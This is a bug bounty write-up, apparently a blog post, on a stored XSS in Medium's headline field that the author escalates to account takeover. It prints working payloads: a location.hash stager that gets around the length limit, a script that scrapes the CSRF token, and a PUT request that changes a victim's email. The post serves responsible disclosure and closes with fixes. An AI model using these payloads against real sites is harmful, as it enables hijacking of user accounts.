Hi .
Before 2 days ago I found A simple and limited XSS , so I developed to be full account takeover just by one click .
How it was start
I was searching on google for some XSS vector there were a link to medium page that have XSS
vectors . when I opened it I got XSSed ? !! I looking inside page and knew that there are something new here and cause this . after see the source code I found that the headline .
After that I made an account and create new story with headline
1
| "><script>alert(1337)</script> |
And I got
Wow so we got XSS now let's try to bring XSS file from outside because the headline was limited length .
Let's try to bring XSS file form another server . like (http://xxe-me.esy.es/xss.js) .
Let's try it out .
If you open the page nothing will happen ! why ? there were a CSP .
What is CSP ?
Is an W3C specification offering the possbility to instruct the client browser from which location and/or which type of resources are allowed to be loaded. To define a loading behavior, the CSP specification use "directive" where a directive defines a loading behavior for a target resource type. (OWASP)
Medium CSP is :
1
| content-security-policy: default-src 'self'; connect-src https://localhost https://*.instapaper.com https://*.stripe.com https://getpocket.com https://medium.com:443 https://*.medium.com:443 https://*.medium.com https://medium.com https://*.medium.com https://*.algolia.net https://cdn-static-1.medium.com https://dnqgz544uhbo8.cloudfront.net 'self'; font-src data: https://*.amazonaws.com https://*.medium.com https://*.gstatic.com https://dnqgz544uhbo8.cloudfront.net https://use.typekit.net https://cdn-static-1.medium.com 'self'; frame-src chromenull: https: webviewprogressproxy: medium: 'self'; img-src blob: data: https: 'self'; media-src https://*.cdn.vine.co https://d1fcbxp97j4nb2.cloudfront.net https://d262ilb51hltx0.cloudfront.net https://medium2.global.ssl.fastly.net https://*.medium.com https://gomiro.medium.com https://miro.medium.com https://pbs.twimg.com 'self'; object-src 'self'; script-src 'unsafe-eval' 'unsafe-inline' about: https: 'self'; style-src 'unsafe-inline' data: https: 'self'; report-uri https://csp.medium.com
|
If you see the CSP the script-src use unsafe-inline without nonce for this reason the page doesn't prevent the XSS in the original page .
It is common mistake as Michele Spagnuolo and Lukas Weichselbaum said at HITB conference .
Now I found this but I didn't stop there I was thinking in give a good PoC for stealing CSRF token and make a request since the email change doesn't require a password confirmation .
But wait ? we can not write a full script in the headline because the length of the headline is quite short and the single and double quotes were changed to Unicode . Nothing works I went to sleep .
In the next day I open the facebook and chat with some friends about my problem they give advise but nothing work out .
Last idea I got is change the stored XSS to DOM XSS and it was really a great idea but I was not sure about it because if we clear the page we won't be able to steal the token .
The token was in the same page and it is called (xsrfToken) .
Now time for some javascript :)
For headline name I used
1
| "><script>document.write(decodeURIComponent(window.location.hash));</script> |
The document.wirte for write the new PoC on page , decodeURIComponent for the URL decode , and all of the new PoC will be in the window.location.hash . I wrote this simple token finder and tested locally .
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| <html> <head> <script> function myFunction() { var str = document.body.innerHTML; var n = str.lastIndexOf('xsrfToken'); var result = str.substring(n + 12); if(result.length > 16){ result = result.substring(0,16); alert('Your token is ' + result); } } </script> </head> <body> xsrfToken":"HZuv9jqWJvnqO0pF" <img src='x' onerror='myFunction()'> </body> </html> |
PoC :
1
| https://medium.com/@abdullah.test1/script-src-goo-gl-9li8mf-script-img-onerror-myfunction-src-x-6c98f1e159ca#<script>function myFunction(){var str = document.body.innerHTML;var n = str.lastIndexOf('xsrfToken');var result = str.substring(n + 12);if(result.length > 16) {result = result.substring(0,16); alert(result); }</script><img src=x onerror="myFunction()">
|
Works good !
But after get the token I wasn't able to send request ! Because the change request sent through PUT method and SOP prevent send the request from another origin .
So I need to make the request form the current page . So I wrote the full poc that send request to (https://medium.com/me/email) with json data (email :abdullah.test1@gmail.com)
PoC :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| <script> function myFunction() { var str = document.body.innerHTML; var n = str.lastIndexOf('xsrfToken'); var result = str.substring(n 12); if(result.length > 16) {result = result.substring(0,16); alert('Your token is ' + result) }; var xhr = new XMLHttpRequest(); xhr.open('PUT', 'https://medium.com/me/email'); xhr.setRequestHeader('Content-Type', 'application/json'); xhr.setRequestHeader('X-XSRF-Token', result); xhr.onload = function() { if (xhr.status === 200) { alert('ok'); } } ; xhr.send(JSON.stringify({"email":"abdullah.test1@gmail.com"})); } </script> <img onerror="myFunction();" src=x> |
Full PoC here .
And the PUT request works ! and the email got change !!
I send the full PoC and I got repay in the first day . After 2 days they contact me and rewarded me with $100 :p :/ . I was disappointed but at least I will get medium shirt :D .
Update : I got medium shirt :)
See the PoC video :
Conclusion
- Using nonce in your CSP .
- Make password confirm for email change mechanism .
- When you set new feature make sure it is secure .
Links
- http://www.html5rocks.com/en/tutorials/security/content-security-policy/
- https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy
- https://https://www.owasp.org/index.php/DOM_Based_XSSwww.owasp.org/index.php/DOM_Based_XSS
- https://medium.com/policy/mediums-bug-bounty-disclosure-program-34b1c80764c2